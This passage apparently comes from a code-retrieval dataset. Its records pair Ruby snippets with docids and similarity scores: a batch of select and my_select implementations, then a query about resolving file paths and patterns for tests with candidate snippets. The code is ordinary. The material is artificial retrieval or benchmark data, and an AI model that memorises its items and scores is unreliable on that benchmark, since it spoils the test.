"text": "def my_select\r\n \tresult = Array.new\r\n \tif (self.is_a? Array) && block_given?\r\n \t self.length.times { |i| result << self[i] if yield(self[i]) }\r\n \tend\r\n \tresult\r\n end",
"title": ""
},
{
"docid": "105370bb9e491accb41d6ce15e0e21a2",
"score": "0.63841796",
"text": "def select_first(*args,&blk)\n\t\tselect(*args) {|*yargs| blk.call(*yargs)}.first\n\tend",
"title": ""
},
{
"docid": "5d1104c80d579c8b7fc6374acffb32dc",
"score": "0.63711756",
"text": "def reselect(*args); end",
"title": ""
},
{
"docid": "4457ed8ade348dbedcd17fa498ef02ca",
"score": "0.6370475",
"text": "def select_value(arel, name = T.unsafe(nil), binds = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "806dd323461bf4782b24dd8cf00aaa5f",
"score": "0.63632107",
"text": "def select &x\n @nodelist.select &x\n end",
"title": ""
},
{
"docid": "100f4c036a83d79d215511f8e97000ee",
"score": "0.6354898",
"text": "def my_select(&block)\n selected = []\n self.my_each { |ele| selected << ele if block.call(ele) }\n selected\n end",
"title": ""
},
{
"docid": "d1dceed7d2a076db725f9ce91ca2c9a5",
"score": "0.63332915",
"text": "def my_select()\n return enum_for(:my_select) unless block_given?\n\n result = []\n my_each do |x|\n result << x if yield(x)\n end\n result\n end",
"title": ""
},
{
"docid": "ea4f0052e1d41418e13b346bdfdb469a",
"score": "0.63331586",
"text": "def select_all(arel, name = T.unsafe(nil), binds = T.unsafe(nil), preparable: T.unsafe(nil), async: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "aa76e7a36a001c454d21712faaa4dda6",
"score": "0.6324872",
"text": "def select_before; end",
"title": ""
},
{
"docid": "aa76e7a36a001c454d21712faaa4dda6",
"score": "0.6324872",
"text": "def select_before; end",
"title": ""
},
{
"docid": "bd1d26d8e0253709398a9cb0db0788eb",
"score": "0.6324537",
"text": "def my_select(&prc)\n selected = []\n\n self.my_each do |num|\n selected << num if prc.call(num)\n end\n\n selected\n end",
"title": ""
},
{
"docid": "f6337a1bae22aa5714f0410169a64b9b",
"score": "0.63060546",
"text": "def test_select_method\n array = selector([1, 2, 3, 4, 5])\n assert_equal(Integer, array.class, 'Select method does not return a single element')\n\n array = selector([5, 10, 34, 99, 0])\n assert_equal(Integer, array.class, 'Select method does not return a single element')\n end",
"title": ""
},
{
"docid": "994ed691f7d79bb75f0140a58e986bc3",
"score": "0.62999046",
"text": "def my_select\n result = []\n\n self.my_each do |e|\n if yield(e)\n result << e\n end\n end\n\n return result\n end",
"title": ""
},
{
"docid": "8ed6187a0d8b7a14c0ed491c3f23fd04",
"score": "0.6299457",
"text": "def select_rows(arel, name = T.unsafe(nil), binds = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "5f49f8c7d23fccab8b0f59dd090c8593",
"score": "0.62951964",
"text": "def my_select(&prc)\n arr = []\n\n self.my_each { |ele| arr << ele if prc.call(ele) }\n arr\n end",
"title": ""
},
{
"docid": "d5dd5d4f9f41046b13217fa5325a8b23",
"score": "0.62867856",
"text": "def [](sel); end",
"title": ""
},
{
"docid": "1a2a1d2b69a1c0ce557535fada5dd975",
"score": "0.62814695",
"text": "def select(&block)\n #you should retrieve the hashable instances in some way\n @some_instances.select(&block)\n end",
"title": ""
},
{
"docid": "32b7a0c701d539198dd38f29558c3afc",
"score": "0.6252877",
"text": "def select(&block) # :yield: obj\n find_all(&block)\n end",
"title": ""
},
{
"docid": "df02f86cbefa3b3eb9c048f4b13ec7cb",
"score": "0.6249217",
"text": "def _select_map_single\n rows = []\n clone(:_sequel_pg_type=>:first).fetch_rows(sql){|s| rows << s}\n rows\n end",
"title": ""
},
{
"docid": "9eadf3f574c3689307ac041c31517863",
"score": "0.6224925",
"text": "def select_options=(_arg0); end",
"title": ""
},
{
"docid": "5d960bf790a7e48fa52f88234b4e55e7",
"score": "0.6217437",
"text": "def my_select(&blk)\n result = []\n\n self.my_each do |el|\n result << el if blk.call(el)\n end\n result\n end",
"title": ""
},
{
"docid": "bbc6abb79dfd23204aaa52960bcfe6d7",
"score": "0.6212668",
"text": "def select(&block)\n res = QueryResult.new(super)\n res.length == 1 ? res[0] : res\n end",
"title": ""
},
{
"docid": "1ecc822068425e6d860b2e905dee90c7",
"score": "0.6209195",
"text": "def preselect; end",
"title": ""
},
{
"docid": "3317d1f3650a1fa8f1834cbc2a8681e6",
"score": "0.6198312",
"text": "def select(*args)\r\n self.push_token(:select, args)\r\n return self\r\n end",
"title": ""
},
{
"docid": "265cbf14109694577705aef23fc850ba",
"score": "0.61980635",
"text": "def select\n require 'minisql/dsl/selector'\n DSL::Selector.new self\n end",
"title": ""
},
{
"docid": "50a5ec0d89af4528970a344ae77a0bb7",
"score": "0.61917835",
"text": "def my_select\n \treturn_array = []\n \tmy_each { |x| return_array << x if yield(x)}\n \treturn_array\n end",
"title": ""
},
{
"docid": "906710b3817c34d37e6cd67ccdc61541",
"score": "0.6191584",
"text": "def select\n return to_enum(:select) unless block_given?\n self.class.new(@ary.select { |item| yield item })\n end",
"title": ""
},
{
"docid": "49a9f3faa0c322a895c9f5ef85b750c5",
"score": "0.61911654",
"text": "def select_by_union(args)\n collected = args.collect {|arg| self.select(arg).to_a}\n Selection.new(collected)\n end",
"title": ""
},
{
"docid": "0fc2c9acea96f70d28caa5a8e5d60894",
"score": "0.6186715",
"text": "def select_one(sql, name = nil) end",
"title": ""
},
{
"docid": "a84890635ceb6c51c1276b2ca83bc777",
"score": "0.61861926",
"text": "def select i\n end",
"title": ""
},
{
"docid": "a84890635ceb6c51c1276b2ca83bc777",
"score": "0.61861926",
"text": "def select i\n end",
"title": ""
},
{
"docid": "ad21b4119e063c7c854988256252e780",
"score": "0.6179336",
"text": "def detect &block\n select(&block).first\n end",
"title": ""
},
{
"docid": "9e8cd392df207e64b9ad2767511f6f58",
"score": "0.61728984",
"text": "def select_all\n clone(:select => nil)\n end",
"title": ""
},
{
"docid": "5cc2ef5349223aecad2f2f3aef346783",
"score": "0.6167812",
"text": "def select(*args, &block)\n self.class.new(@array.select(*args, &block))\n end",
"title": ""
},
{
"docid": "d7d300c09b198ae6cb6a8d699896c550",
"score": "0.6164638",
"text": "def select(scope) # abstract\n end",
"title": ""
},
{
"docid": "d7d300c09b198ae6cb6a8d699896c550",
"score": "0.6164638",
"text": "def select(scope) # abstract\n end",
"title": ""
},
{
"docid": "2ca6a905a15cc9d89a1f512e321d779f",
"score": "0.61627597",
"text": "def select(&block)\n block_given? ? AcceptingInfiniteEnumeration.new(self, &block) : self\n end",
"title": ""
},
{
"docid": "f27119b5a74a732ef70609536bc02a60",
"score": "0.616088",
"text": "def call_select_handler\n call_handler(:select)\n end",
"title": ""
},
{
"docid": "71d55a541d4802bcf7c5a3beaedaf5d7",
"score": "0.61593634",
"text": "def select *fields, &block\n obj = self.dup\n obj.instance_variable_set :@query_select, fields unless fields.empty?\n ret obj, &block\n end",
"title": ""
},
{
"docid": "9f2f62c4046ce98634247bfda72d033f",
"score": "0.6152309",
"text": "def select\r\n yield column, value\r\n end",
"title": ""
},
{
"docid": "64e411dd0c5ed8b8db620dd3212365ff",
"score": "0.6143016",
"text": "def select(&block)\n to_hash.select(&block)\n end",
"title": ""
},
{
"docid": "de2d0509f6d8cde2376bcc3f9d730a36",
"score": "0.61382407",
"text": "def selecting(&block)\n select DSL.evaluate(self, &block)\n end",
"title": ""
},
{
"docid": "de2d0509f6d8cde2376bcc3f9d730a36",
"score": "0.61382407",
"text": "def selecting(&block)\n select DSL.evaluate(self, &block)\n end",
"title": ""
},
{
"docid": "de2d0509f6d8cde2376bcc3f9d730a36",
"score": "0.61382407",
"text": "def selecting(&block)\n select DSL.evaluate(self, &block)\n end",
"title": ""
},
{
"docid": "de2d0509f6d8cde2376bcc3f9d730a36",
"score": "0.61382407",
"text": "def selecting(&block)\n select DSL.evaluate(self, &block)\n end",
"title": ""
},
{
"docid": "8c2a4a3066a48d2ecd53c7a3a29f3874",
"score": "0.6129739",
"text": "def my_select\n return_collection = Array.new\n\n self.my_each {|element| return_collection.push(element) if yield(element)}\n return_collection\n end",
"title": ""
},
{
"docid": "8b7a303f0588cf7f3c7b5ebc2254ba78",
"score": "0.61197054",
"text": "def select!\n block_given? or return enum_for(__method__)\n n = size\n keep_if { |o| yield(o) }\n size == n ? nil : self\n end",
"title": ""
}
] |
a1363825656cd3379856aabe994b0219
|
Public: Resolve a set of files, directories, and patterns to a list of paths to test.
|
[
{
"docid": "5eda0e07fef9bbc9269bf34f0cea5f4b",
"score": "0.68888927",
"text": "def resolve_paths names\n if context.tag_filters.any?\n # Bats doesn't support tags\n []\n elsif names.any?\n paths = []\n for name in names\n paths.concat Array(resolve_name name)\n end\n paths\n else\n [test_dir]\n end\n end",
"title": ""
}
] |
[
{
"docid": "36832a337ed67d51138f321989413b87",
"score": "0.73322713",
"text": "def resolve_paths names\n if names.any?\n paths = []\n for name in names\n paths.concat Array(resolve_name name)\n end\n paths\n else\n Array(resolve_as_directory test_dir_name)\n end\n end",
"title": ""
},
{
"docid": "b73884ec7c7a5a58eff38881067eaee5",
"score": "0.64721006",
"text": "def find(dirs); end",
"title": ""
},
{
"docid": "d22e1d0a602640ff4eb9232ccdf568db",
"score": "0.6450417",
"text": "def collect_paths(*paths)\n raw = [] # all paths and globs\n plus = Set.new # all paths to expand and add\n minus = Set.new # all paths to remove from plus set\n\n # assemble all globs and simple paths, reforming our glob notation to ruby globs\n paths.each do |paths_container|\n case (paths_container)\n when String then raw << (FilePathUtils::reform_glob(paths_container))\n when Array then paths_container.each {|path| raw << (FilePathUtils::reform_glob(path))}\n else raise \"Don't know how to handle #{paths_container.class}\"\n end\n end\n\n # iterate through each path and glob\n raw.each do |path|\n\n dirs = [] # container for only (expanded) paths\n\n # if a glob, expand it and slurp up all non-file paths\n if path.include?('*')\n # grab base directory only if globs are snug up to final path separator\n if (path =~ /\\/\\*+$/)\n dirs << FilePathUtils.extract_path(path)\n end\n\n # grab expanded sub-directory globs\n expanded = @file_wrapper.directory_listing( FilePathUtils.extract_path_no_aggregation_operators(path) )\n expanded.each do |entry|\n dirs << entry if @file_wrapper.directory?(entry)\n end\n\n # else just grab simple path\n # note: we could just run this through glob expansion but such an\n # approach doesn't handle a path not yet on disk)\n else\n dirs << FilePathUtils.extract_path_no_aggregation_operators(path)\n end\n\n # add dirs to the appropriate set based on path aggregation modifier if present\n FilePathUtils.add_path?(path) ? plus.merge(dirs) : minus.merge(dirs)\n end\n\n return (plus - minus).to_a.uniq\n end",
"title": ""
},
{
"docid": "3a58272405ff3cf6d3d616535456bab3",
"score": "0.64449704",
"text": "def scan\n results = []\n dirs.each do |dir|\n files_in_dir = Dir.glob(File.join(dir,'**','*'))\n results.concat(files_in_dir)\n end\n @known_files = results\n end",
"title": ""
},
{
"docid": "3035d82b304b6eee8fbdfae921c90b65",
"score": "0.6304389",
"text": "def all_paths\n paths = Dir[\"#{@path}/*\"]\n paths = paths.select(&matcher(options[:accept])) if options[:accept]\n paths = paths.reject(&matcher(options[:reject])) if options[:reject]\n paths\n end",
"title": ""
},
{
"docid": "31d39c15417c9f87ef5bb34395d43a88",
"score": "0.62381124",
"text": "def expanded_paths(patterns, options = {})\n return [] if patterns.empty?\n path_list.glob(patterns, options).flatten.compact.uniq\n end",
"title": ""
},
{
"docid": "d346a3db0dc0d23a3b0c5a1ec6b92999",
"score": "0.6216506",
"text": "def process_globs globs\n result = globs.flat_map do |glob|\n Dir[File.join directory, glob]\n .map{ |f| f.gsub(/\\\\/, '/') }\n .select { |f| File.file?(f) }\n end\n result\n end",
"title": ""
},
{
"docid": "deb716dd57f04a1f90d9fb944b686bed",
"score": "0.6208612",
"text": "def filepaths_from *types, &block\n expr = last_option(types)[:matching]\n the_files = types.inject([]) do |files, type|\n method = :\"#{type}_files\"\n files_found = send(method, expr) if respond_to?(method)\n files_found = RailsAssist::Artifact::Files.send(method, expr) if RailsAssist::Artifact::Files.respond_to?(method)\n files + files_found\n end.compact\n yield the_files if block\n the_files\n end",
"title": ""
},
{
"docid": "b7b426b715bef0333c07260c2c0151cd",
"score": "0.6174992",
"text": "def expand_files map, config\n files = Array.new\n if config.has_key? map\n config[map].each do |v|\n m = /^\\/.*/.match v #starts with /, otherwise it's a group name\n if m\n files << m.to_s\n else\n files + (expand_files m.to_s, config)\n end\n end\n end\n return files\nend",
"title": ""
},
{
"docid": "1c541d4535801072f69c8b3320dc5cb5",
"score": "0.6173232",
"text": "def resolve\n @paths.clear\n if @options[:glob] == :newest\n @paths.concat(Dir[@pattern].sort_by { |f| File.mtime(f) }.last(1))\n else\n @paths.concat(Dir[@pattern])\n end\n @paths.any?\n end",
"title": ""
},
{
"docid": "372d9fb13e59edc6bc63a500d6d8182d",
"score": "0.6167868",
"text": "def classes_matching_patterns(patterns, ant, platform, build_results)\n out = PathSet.new\n \n patterns.each do |pattern|\n # Yup, gotta use a fresh, new Ant property name each time. Yuck.\n path_property_name = platform.next_ant_property_name('patterns_search_path')\n classes_directory = build_results.classes_directory(self).to_s\n pattern_spec = \"**/%s.class\" % pattern\n \n ant.path(:id => path_property_name) {\n ant.fileset(:dir => classes_directory, :includes => pattern_spec)\n }\n\n property_name = platform.next_ant_property_name('patterns_search_path_property')\n # This turns the path into an Ant property. Double yuck, but necessary.\n ant.property(:name => property_name, :refid => path_property_name)\n out << ant.get_ant_property(property_name)\n end\n \n out\n end",
"title": ""
},
{
"docid": "59b0c3c9bbf92fcd108a7755d41b5d42",
"score": "0.61265916",
"text": "def file_paths\n Dir.glob(@filepath_pattern).sort\n end",
"title": ""
},
{
"docid": "79daf5afa73fd12af45ea376f33b3c2d",
"score": "0.6113524",
"text": "def traverse_files\n result = []\n paths = config[:paths].select { |p| File.exist?(p) }\n if paths.empty?\n log_warn \"search.paths #{config[:paths].inspect} do not exist\"\n return result\n end\n Find.find(*paths) do |path|\n is_dir = File.directory?(path)\n hidden = File.basename(path).start_with?('.')\n not_incl = config[:include] && !path_fnmatch_any?(path, config[:include])\n excl = path_fnmatch_any?(path, config[:exclude])\n if is_dir || hidden || not_incl || excl\n Find.prune if is_dir && (hidden || excl)\n else\n result << yield(path)\n end\n end\n result\n end",
"title": ""
},
{
"docid": "9004cf080e7a4b05527025d595760aa4",
"score": "0.6090472",
"text": "def collect(*paths)\n match = []; traverse(*paths){|f| match << yield(f) }; match\n end",
"title": ""
},
{
"docid": "55667339ac486500f4d40db3ee3bfd52",
"score": "0.6088821",
"text": "def appendGlobs(arr, patterns); patterns.each { |p| arr << Dir.glob(p) }; arr.flatten end",
"title": ""
},
{
"docid": "876714293265f8b6572f271cf37f92ff",
"score": "0.60631263",
"text": "def each_existing_path pattern, pathname_test = :exist?, &blk # :yields: corresponding_pathname\n attempts = []\n raise \"No paths to search for #{pattern}\" if @search_paths.nil? || @search_paths.empty?\n @search_paths.each do |path|\n path = (path + pattern).expand_path\n matches = Array(Pathname.glob(path).select(&pathname_test))\n attempts << path.to_s\n matches.each(&blk)\n end\n attempts\n end",
"title": ""
},
{
"docid": "0cf2f85a48d4ddb0531ba475fc50a079",
"score": "0.6054459",
"text": "def _find_files(*paths)\n paths.flatten.map do |path|\n path = Pathname.new(path)\n path.file? ? [path.to_s] : _find_files(path.children)\n end.flatten\n end",
"title": ""
},
{
"docid": "55f2c3461437815cae196acb82a75cb0",
"score": "0.60303897",
"text": "def find_paths(dir=\"\")\n base = File.join(@source, dir)\n entries = Dir.chdir(base) { filter_entries(Dir[\"*\"]) }\n paths = []\n\n entries.each do |entry|\n absolute_path = File.join(base, entry)\n relative_path = File.join(dir, entry)\n\n if File.directory?(absolute_path)\n paths.concat find_paths(relative_path)\n else\n paths << absolute_path\n end\n end\n paths\n end",
"title": ""
},
{
"docid": "20eb57ac923026c6ecb4b400b934aaf6",
"score": "0.5981966",
"text": "def test_files\n files = tests\n files = files.map{ |f| Dir[f] }.flatten\n files = files.map{ |f| File.directory?(f) ? Dir[File.join(f, '**/*.rb')] : f }\n files = files.flatten.uniq\n files = files.map{ |f| File.expand_path(f) }\n files\n end",
"title": ""
},
{
"docid": "5574d72962fe8e1e9422bc5b17f0a47f",
"score": "0.59638447",
"text": "def result_paths( pattern = '*' )\n paths = nil\n Dir.chdir(dir) {\n paths = Dir.glob(pattern).map {|x| Pathname.new(x).expand_path }\n }\n # remove directories of Analysis\n anl_dirs = analyses.map {|anl| /^#{anl.dir.to_s}/ }\n paths.reject do |path|\n anl_dirs.find {|anl_dir| anl_dir =~ path.to_s }\n end\n end",
"title": ""
},
{
"docid": "fbd5748c31a9fd7440aa7fef6379bacc",
"score": "0.59622145",
"text": "def glob(*patterns)\n require \"pathname\"\n patterns.reduce([]) do |result, pattern|\n if pattern.end_with?(\"/**\")\n pattern += \"/\"\n end\n result += Dir.glob(pattern).map do |path|\n Pathname.new(path.gsub(\"\\\\\", \"/\")).cleanpath.to_s\n end\n end.sort\n end",
"title": ""
},
{
"docid": "4bea79cebb0368840eb003928446b176",
"score": "0.59541947",
"text": "def find_files dir = test_dir\n glob file_pattern(dir)\n end",
"title": ""
},
{
"docid": "d664ab4089da243383377a3f0e5973ad",
"score": "0.59471506",
"text": "def build_file_list\n puts_and_logs 'Finding files...'\n file_list = []\n config[:source].each do |entry|\n if File.directory?(entry)\n populate_list_of_files_from_directory(file_list, entry) \n next\n end\n if File.file?(entry)\n populate_list_of_files_from_file(file_list, entry) \n next\n end\n logger.warn \"\\\"#{entry}\\\" is neither a directory nor a regular file. Ignored...\"\n end\n logger.debug(file_list)\n file_list\n end",
"title": ""
},
{
"docid": "ec4d7395920716683324c3452b110524",
"score": "0.5943754",
"text": "def init_paths\n drive = session.sys.config.getenv('SystemDrive')\n\n files =\n [\n 'unattend.xml',\n 'autounattend.xml'\n ]\n\n target_paths =\n [\n \"#{drive}\\\\\",\n \"#{drive}\\\\Windows\\\\System32\\\\sysprep\\\\\",\n \"#{drive}\\\\Windows\\\\panther\\\\\",\n \"#{drive}\\\\Windows\\\\Panther\\Unattend\\\\\",\n \"#{drive}\\\\Windows\\\\System32\\\\\"\n ]\n\n paths = []\n target_paths.each do |p|\n files.each do |f|\n paths << \"#{p}#{f}\"\n end\n end\n\n # If there is one for registry, we add it to the list too\n reg_path = get_registry_unattend_path\n paths << reg_path unless reg_path.empty?\n\n return paths\n end",
"title": ""
},
{
"docid": "445631e92ab8eceab2156e30460b9a35",
"score": "0.59226584",
"text": "def matching_sets(path, type); end",
"title": ""
},
{
"docid": "9f8dbded759cc7ddabcfd94cc38558a2",
"score": "0.5917393",
"text": "def possible_paths(opts)\n # file_names is implemented in each store.\n file_names(opts).map { |file_name| possible_paths_file(opts, file_name) }.flatten\n end",
"title": ""
},
{
"docid": "ca490c61114caa0b80f784f98898be2d",
"score": "0.5915153",
"text": "def expanded_file_list\n test_files = Rake::FileList[pattern].compact\n test_files += @test_files.to_a if @test_files\n test_files\n end",
"title": ""
},
{
"docid": "e9f8c4bb7358db17bbc6bccbe77c4127",
"score": "0.5902701",
"text": "def resolve_downloads_paths!\n info(\"Resolving Downloads path from config.\")\n config[:downloads] = config[:downloads]\n .map do |source, destination|\n source = source.to_s\n destination = destination.gsub(\"%{instance_name}\", instance.name)\n info(\" resolving remote source's absolute path.\")\n unless source.match?('^/|^[a-zA-Z]:[\\\\/]') # is Absolute?\n info(\" '#{source}' is a relative path, resolving to: #{File.join(config[:root_path], source)}\")\n source = File.join(config[:root_path], source.to_s).to_s\n end\n\n if destination.match?('\\\\$|/$') # is Folder (ends with / or \\)\n destination = File.join(destination, File.basename(source)).to_s\n end\n info(\" Destination: #{destination}\")\n if !File.directory?(File.dirname(destination))\n FileUtils.mkdir_p(File.dirname(destination))\n else\n info(\" Directory #{File.dirname(destination)} seems to exist.\")\n end\n\n [ source, destination ]\n end\n nil # make sure we do not return anything\n end",
"title": ""
},
{
"docid": "f0d8a5b8973e7cbf61dc433745e8f018",
"score": "0.59005135",
"text": "def expound_paths(*entries)\n paths = []\n\n entries.each do |entry|\n entry = entry.strip\n\n next if entry.empty?\n next if entry.start_with?('#')\n\n if File.directory?(entry)\n if library_path?(entry)\n paths << entry\n else\n if File.directory?(File.join(entry, 'gems'))\n subpaths = Dir.glob(File.join(entry, 'gems/*/'))\n else\n subpaths = Dir.glob(File.join(entry, '*/'))\n end\n subpaths.each do |subpath|\n paths << subpath if library_path?(subpath)\n end\n end\n elsif File.file?(entry)\n paths.concat(expound_paths(*File.readlines(entry)))\n else\n glob_paths = Dir.glob(entry)\n if glob_paths.first != entry\n paths.concat(expound_paths(*glob_paths))\n end\n end\n end\n\n paths\n end",
"title": ""
},
{
"docid": "fe02a178ab63e4f3d8a940c3a4474fac",
"score": "0.58846515",
"text": "def get_file_list relative_path\n\t\t\t\tpath = File.join(@src, relative_path)\n\t\t\t\tresult = nil\n\t\t\t\tFileUtils.cd(path) do\n\t\t\t\t\tresult = Dir.glob(\"**/*\", File::FNM_DOTMATCH)\n\t\t\t\t\tresult.reject! { |fn| File.directory?(fn) }\n\t\t\t\t\tresult.reject! { |fn| fn =~ /(^_|\\/_)/ }\n\t\t\t\tend\n\t\t\t\tresult\n\t\t\tend",
"title": ""
},
{
"docid": "cf17063832fce951a9bb9f69f24a4d85",
"score": "0.5876915",
"text": "def match_paths(path)\n # Turn multiple slashes into one\n # nodes//x -> nodes/x\n path = path.gsub(%r{[/]+}, \"/\")\n # If it's absolute, start the matching with /. If it's relative, start with '' (relative root).\n if path[0] == \"/\"\n matches = [ \"/\" ]\n else\n matches = [ \"\" ]\n end\n\n # Split the path, and get rid of the empty path at the beginning and end\n # (/a/b/c/ -> [ 'a', 'b', 'c' ])\n parts = path.split(\"/\").select { |x| x != \"\" }.to_a\n\n # Descend until we find the matches:\n # path = 'a/b/c'\n # parts = [ 'a', 'b', 'c' ]\n # Starting matches = [ '' ]\n parts.each_with_index do |part, index|\n # For each match, list <match>/<part> and set matches to that.\n #\n # Example: /*/foo\n # 1. To start,\n # matches = [ '/' ], part = '*'.\n # list('/', '*') = [ '/organizations, '/users' ]\n # 2. matches = [ '/organizations', '/users' ], part = 'foo'\n # list('/organizations', 'foo') = [ '/organizations/foo' ]\n # list('/users', 'foo') = [ '/users/foo' ]\n #\n # Result: /*/foo = [ '/organizations/foo', '/users/foo' ]\n #\n matches = matches.parallel_map do |pth|\n found, error = list(pth, part)\n if error\n if parts[0..index - 1].all? { |p| p != \"*\" }\n raise error\n end\n\n []\n else\n found\n end\n end.flatten.to_a\n end\n\n matches\n end",
"title": ""
},
{
"docid": "8b6d299ef46543d942faf1384f183b94",
"score": "0.58715445",
"text": "def files() = files_path.glob('**/*')",
"title": ""
},
{
"docid": "e4869980fd4ac452b3b7131273d1ea54",
"score": "0.586707",
"text": "def lookup(glob, flags=0)\n pwd = File.expand_path(Dir.pwd)\n home = File.expand_path('~')\n while pwd != '/' && pwd != home\n paths = Dir.glob(File.join(pwd, glob), flags)\n return paths unless paths.empty?\n break if ROOT_INDICATORS.any?{ |r| File.exist?(File.join(pwd, r)) }\n pwd = File.dirname(pwd)\n end\n return []\n end",
"title": ""
},
{
"docid": "709da6df4aa32c7907a0c71c5360fba6",
"score": "0.5863776",
"text": "def find(args, mode)\n return target_files_in_dir if args.empty?\n\n files = []\n\n args.uniq.each do |arg|\n files += if File.directory?(arg)\n target_files_in_dir(arg.chomp(File::SEPARATOR))\n else\n process_explicit_path(arg, mode)\n end\n end\n\n files.map { |f| File.expand_path(f) }.uniq\n end",
"title": ""
},
{
"docid": "0ac584556bc28684a59798bb056f4c06",
"score": "0.58529973",
"text": "def all_files\n Dir[@test_pattern].sort\n end",
"title": ""
},
{
"docid": "9b2422fdec8832869d91c76ec5608ad4",
"score": "0.58449936",
"text": "def test_resolve_dependencies\n Dir.mktmpdir('testbase') do |testbase|\n tpkg = Tpkg.new(:base => testbase, :sources => @pkgfiles)\n\n result = tpkg.resolve_dependencies([{:name => 'a', :type => :tpkg}], {:tpkg => {}, :native => {}}, ['a'])\n assert(result.has_key?(:solution))\n solution = result[:solution]\n\n # We should end up with a-1.0, b-1.0 (the specific one, not the generic\n # one), c-1.2 and d-1.2\n assert_equal(4, solution.length)\n good = ['a-1.0-1.tpkg', \"b-1.0-1-#{Metadata.clean_for_filename(tpkg.os.os)}.tpkg\", 'c-1.2-1.tpkg', 'd-1.2-1.tpkg']\n solution.each { |pkg| assert(good.any? { |g| pkg[:source].include?(g) }) }\n end\n end",
"title": ""
},
{
"docid": "557c297f0fbc2ffcd3f9e13c9b582eb0",
"score": "0.58448404",
"text": "def monitored_paths\n paths = Dir['**/*'].select do |path|\n @script.patterns.any? {|p| path.match(p) }\n end\n paths.push(@script.path).compact!\n paths.map {|path| Pathname(path).expand_path }\n end",
"title": ""
},
{
"docid": "6db110e80aa93a817924c51ec3933afe",
"score": "0.58406043",
"text": "def path(match, options={})\n return [] if options[:from]\n\n found = []\n $LOAD_PATH.uniq.map do |path|\n list = Dir.glob(File.join(File.expand_path(path), match))\n list = list.map{ |d| d.chomp('/') }\n found.concat(list)\n end\n found.concat(data_path(match, options))\n found\n end",
"title": ""
},
{
"docid": "36b2b65e4b3d83508ffeeccc6ea23728",
"score": "0.5822646",
"text": "def paths\n @paths ||= [\n data_path,\n output_path,\n converted_path,\n converted_fail_path,\n unpacked_path,\n unpacked_fail_path,\n recreated_path,\n ]\n end",
"title": ""
},
{
"docid": "843ff209acd93bb75239ef1f8572304e",
"score": "0.5819809",
"text": "def paths\n f = File.open(@path)\n f.grep(FILE_NAME_PATTERN) { $1 }\n end",
"title": ""
},
{
"docid": "0e97ab9490cd2fb9208e3524464b7289",
"score": "0.5792063",
"text": "def get_file_list(path_pattern)\n return Dir[path_pattern].sort\n end",
"title": ""
},
{
"docid": "ed8dd7bcb996cd622fc41ee3935b9524",
"score": "0.5789762",
"text": "def search_paths\n # NOTE: Do not cache this list, specific generators\n # will modify it with their own lookups\n create_search_paths.select { |path| File.directory?(path) }\n end",
"title": ""
},
{
"docid": "0d9996339f27867483113aa301b2d998",
"score": "0.5788311",
"text": "def process_globs(globs); end",
"title": ""
},
{
"docid": "8d9e5cc44602e4b39de85f356cbb6cec",
"score": "0.57857656",
"text": "def load_path(match, options={})\n return [] if options[:from]\n\n options = valid_load_options(options)\n\n found = []\n $LOAD_PATH.uniq.each do |path|\n list = Dir.glob(File.join(File.expand_path(path), match))\n list = list.map{ |d| d.chomp('/') }\n # return absolute path unless relative flag\n if options[:relative]\n # the extra '' in File.join adds a '/' to the end of the path\n list = list.map{ |f| f.sub(File.join(path, ''), '') }\n end\n found.concat(list)\n end\n found\n end",
"title": ""
},
{
"docid": "a9b5c758d2ddb52b40cce247ce52a865",
"score": "0.57840675",
"text": "def load_path(match, options={})\n options = valid_load_options(options)\n\n specs = specifications(options)\n\n matches = []\n specs.each do |spec|\n list = []\n spec.require_paths.each do |path|\n glob = File.join(spec.full_gem_path, path, match)\n list = Dir[glob] #.map{ |f| f.untaint }\n list = list.map{ |d| d.chomp('/') }\n # return relative paths unless absolute flag\n if options[:relative] #not options[:absolute]\n # the extra '' in File.join adds a '/' to the end of the path\n list = list.map{ |f| f.sub(File.join(spec.full_gem_path, path, ''), '') }\n end\n matches.concat(list)\n end\n # activate the library if activate flag\n spec.activate if options[:activate] && !list.empty?\n end\n matches\n end",
"title": ""
},
{
"docid": "f0dacb6561c79a99720218428fb5a2e5",
"score": "0.57696253",
"text": "def _find_files(*paths)\n paths.flatten!\n paths.map! { |p| Pathname.new(p) }\n files = paths.select(&:file?)\n\n (paths - files).each do |dir|\n files << _find_files(dir.children)\n end\n\n files.flatten.map(&:to_s)\n end",
"title": ""
},
{
"docid": "9ab744e6c2d5461701d6d9f8c70568a6",
"score": "0.5760657",
"text": "def find_all_paths\n found_paths = []\n \n explore(found_paths, nil, @start_node)\n \n found_paths\n end",
"title": ""
},
{
"docid": "183e2366598fa9a4adb9cd39504a8cbb",
"score": "0.57568353",
"text": "def iterate_over_file_paths\n parsed_file.each do |hit|\n file_path_array << hit[0]\n end\n file_path_array\n end",
"title": ""
},
{
"docid": "9ca91f468518513db491420d3b0d605d",
"score": "0.57501954",
"text": "def replaceable_paths_to dir, glob\n self.class.instances.map do |package|\n if self == package\n Dir[package.path / dir / glob]\n else\n Dir[package.path / dir / name / glob]\n end\n end.flatten\n end",
"title": ""
},
{
"docid": "f14dd7551b786032216250b1e87b233e",
"score": "0.5742897",
"text": "def find_files(base_dir, flags); end",
"title": ""
},
{
"docid": "839c1fad0a7a730b1680fee57900b444",
"score": "0.5737807",
"text": "def find_files( config )\n files = []\n config.each do |c|\n Config.verify_config_dirs( c )\n\n dir = c[\"directory\"].chomp(\"/\")\n recursive = Config.convert_yaml_bools( c[\"recursive\"] ) \n \n if File.directory? dir \n unless recursive\n Dir.glob( \"#{dir}/*\" ).each do |d|\n files << d unless File.directory? d or File.symlink? d\n end\n else\n Dir.glob(\"#{dir}/**/*\").each do |d|\n files << d unless File.directory? d or File.symlink? d \n end \n end\n else\n Dir.glob( dir ).each do |d|\n files << d \n end\n end\n end\n files\nend",
"title": ""
},
{
"docid": "4c08768257baa228d132063948f67608",
"score": "0.572415",
"text": "def find_alternative_paths\n reset\n \n @pairs.reverse!\n find_paths\n @pairs.reverse!\n\n @pairs.map{|pair| pair.path}\n end",
"title": ""
},
{
"docid": "89af99808bef8065e529b2f43c963d9c",
"score": "0.57164526",
"text": "def possible_paths(*files, paths: nil, path: nil, directory: nil)\n paths = Array(path) if path\n if paths.nil? or paths.empty?\n @lock.with_read_lock { possible_paths(*files, paths: @paths, directory: directory) }\n else\n paths.flat_map do |path|\n path = path.join(directory) if directory\n files.flat_map { |file| path.join(file) }\n end\n end\n end",
"title": ""
},
{
"docid": "49c33ef6d359a1a34f8d5c9225a09af3",
